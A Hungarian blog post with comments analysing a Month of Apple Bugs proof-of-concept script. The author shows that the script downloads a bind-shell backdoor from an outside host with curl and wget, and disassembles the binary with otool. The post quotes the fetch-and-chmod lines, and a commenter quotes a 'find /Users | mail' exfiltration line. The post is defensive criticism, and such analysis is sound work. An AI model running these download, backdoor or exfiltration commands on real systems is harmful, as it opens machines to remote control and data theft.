1) töltsük le a kérdéses Ruby scriptet.
2) értelmezzük:
...blablabla...
BACKDOO_URL = "http://projects.info-pull.com/moab/bug-files/sample-back" # must be fat binary, sample bind shell
Hoppá.
system "chmod a+rxw #{aped_path}" # let everyone backdoor it afterwards, be social and share!
system "curl #{BACKDOO_URL} -o #{aped_path}"
system "chmod a+x #{aped_path}"
A jo édesanyád.
3) töltsük csak le azt a binárist:
wget http://projects.info-pull.com/moab/bug-files/sample-back
4) játszunk vele egy kicsit:
aeon:~ pontscho$ file sample-back
sample-back: Mach-O universal binary with 2 architectures
sample-back (for architecture ppc): Mach-O executable ppc
sample-back (for architecture i386): Mach-O executable i386
Nem aprozzák el, rögtön mindenkivel kikezdenek.
Nézzük meg, hogy milyen szinbólumokat akar betolteni:
aeon:~ pontscho$ nm sample-back
...blablabla...
U _execv
U _exit
U _fork
U _listen
U _mach_init_routine
U _ptrace
00002050 S _receive_samples
U _shutdown
U _signal
U _socket
Hm.
Szedjük szét az unibin konténert cafatokra, első lépésként szedjük ki a PPC binárist. Azért azt, mert egy másik programom kapcsán e tudásom frissebb, nem utolsó sorban egyszerűbb, mint az x86-os megfelelője.
aeon:~ pontscho$ lipo -extract ppc -o sample-back.ppc sample-back
5) bogarásszük át azt a binárist:
aeon:~ pontscho$ otool -t -V sample-back.ppc
sample-back.ppc (architecture ppc):
(__TEXT,__text) section
...blablabla...
00002ab0 lwz r3,0x44(r30)
00002ab4 or r4,r0,r0
00002ab8 or r5,r2,r2
00002abc bl 0x2fa0 ; symbol stub for: _bind
00002ac0 or r0,r3,r3
00002ac4 cmpwi cr7,r0,0x0
00002ac8 beq cr7,0x2ad4
00002acc li r3,0xffff
00002ad0 bl 0x2ec0 ; symbol stub for: _exit
00002ad4 lwz r3,0x44(r30)
00002ad8 li r4,0x1
00002adc bl 0x2ea0 ; symbol stub for: _listen
Mivan? Mi a jó édes anyjának kell egy proof-concept kódnak egy porton hallgatnia?
Nézzük tovább:
00002b80 bl 0x2f80 ; symbol stub for: _accept
00002b84 or r0,r3,r3
00002b88 stw r0,0x40(r30)
00002b8c lwz r0,0x40(r30)
00002b90 cmpwi cr7,r0,0x0
00002b94 bge cr7,0x2ba0
00002b98 li r3,0xffff
00002b9c bl 0x2ec0 ; symbol stub for: _exit
00002ba0 bl 0x2f20 ; symbol stub for: _fork
00002ba4 or r0,r3,r3
00002ba8 cmpwi cr7,r0,0x0
00002bac beq cr7,0x2bf8
00002bb0 lwz r3,0x40(r30)
00002bb4 li r4,0x0
00002bb8 bl 0x2e80 ; symbol stub for: _dup2
00002bbc lwz r3,0x40(r30)
00002bc0 li r4,0x1
00002bc4 bl 0x2e80 ; symbol stub for: _dup2
00002bc8 lwz r3,0x40(r30)
00002bcc li r4,0x2
00002bd0 bl 0x2e80 ; symbol stub for: _dup2
00002bd4 addi r0,r30,0x260
00002bd8 or r3,r0,r0
00002bdc li r4,0x0
00002be0 bl 0x2f00 ; symbol stub for: _execv
00002be4 lwz r3,0x40(r30)
00002be8 li r4,0x2
00002bec bl 0x2f60 ; symbol stub for: _shutdown
Remek. Hallgat egy porton, majd a bejövő stringet megprobálja végrehajtani.
Nekem csak egy kérdésem lenne... miért van arra szükség, hogy third party app hibáját demonstráló cucc hátsókaput nyisson a gépemen ? Miért nem elégséges, hogy kommentként szerepeljen a kódban, hogy "EHUN LETÖTTÖM A CUMÓT, ÉS MOST ITTÉSITT MEGSZÍVTAD." ?
Egyetlen egy pozitívum mondható el erről a kódról, hogy nem küld infót sehova. Viszont ki lehet logikázni a letöltésekből, hogy hol érdemes próbálkozni. (Két tűzfal mögött vagyok, lehet probálkozni a becsatlakozással.)
Szerk: nos, mindössze egy dologban tévedtem, lustaság miatt. A bl _execv elött az r3-as regiszterbe kerül a futtatandó bináris címe, és nem kerestem vissza a forrásban mi az. Tehát: nem a bejövő stringet próbálja meg letuttatni, hanem meghívja a /bin/csh-t... Bővebben itt.
Az egész MOAB dologgal a legkomolyabb problémám ez: ez így ebben a formában abszolút etikátlan. Egy apró idézet a fenti oldalról:
The original download (which I've deleted, unfortunately) was 38,200 bytes. The new one is 33,964 bytes, md5 a345c1c6433e112777302ccae4e39ab2.
...
- Pontscho blogja
- A hozzászóláshoz be kell jelentkezni
- 986 megtekintés
Hozzászólások
Nezd meg jobban, nalam csinalt anno egy "LDAP admin" nevu usert, meg egy "find /Users | mail ..." biztosan volt benne.
Vagy kozben ezt is megvaltoztattak?
Ki akartam probalni, de az Application Enhancer 2.0.2 nem inditja el a backdoor binarist, lehet fixaltak kozben.
- A hozzászóláshoz be kell jelentkezni
Abban amit en letoltottem, mar semmi ilyesmi nem van. De ettol meg nem valik kevesbe etikatlanna dolog meg a mostani allapotaban sem.
---
pontscho / fresh!mindworkz
- A hozzászóláshoz be kell jelentkezni
Szabad szemmel abban a binarisban se latszott.
- A hozzászóláshoz be kell jelentkezni
A hasznalt szimbolumok kozt sincs olyasmi, ami erre utalna (se file muvelet, se syscall, hogy ezt megprobaljak elrejteni).
De ez nem zarja ki azt, hogy egy elobbi verzioban nem volt benne.
---
pontscho / fresh!mindworkz
- A hozzászóláshoz be kell jelentkezni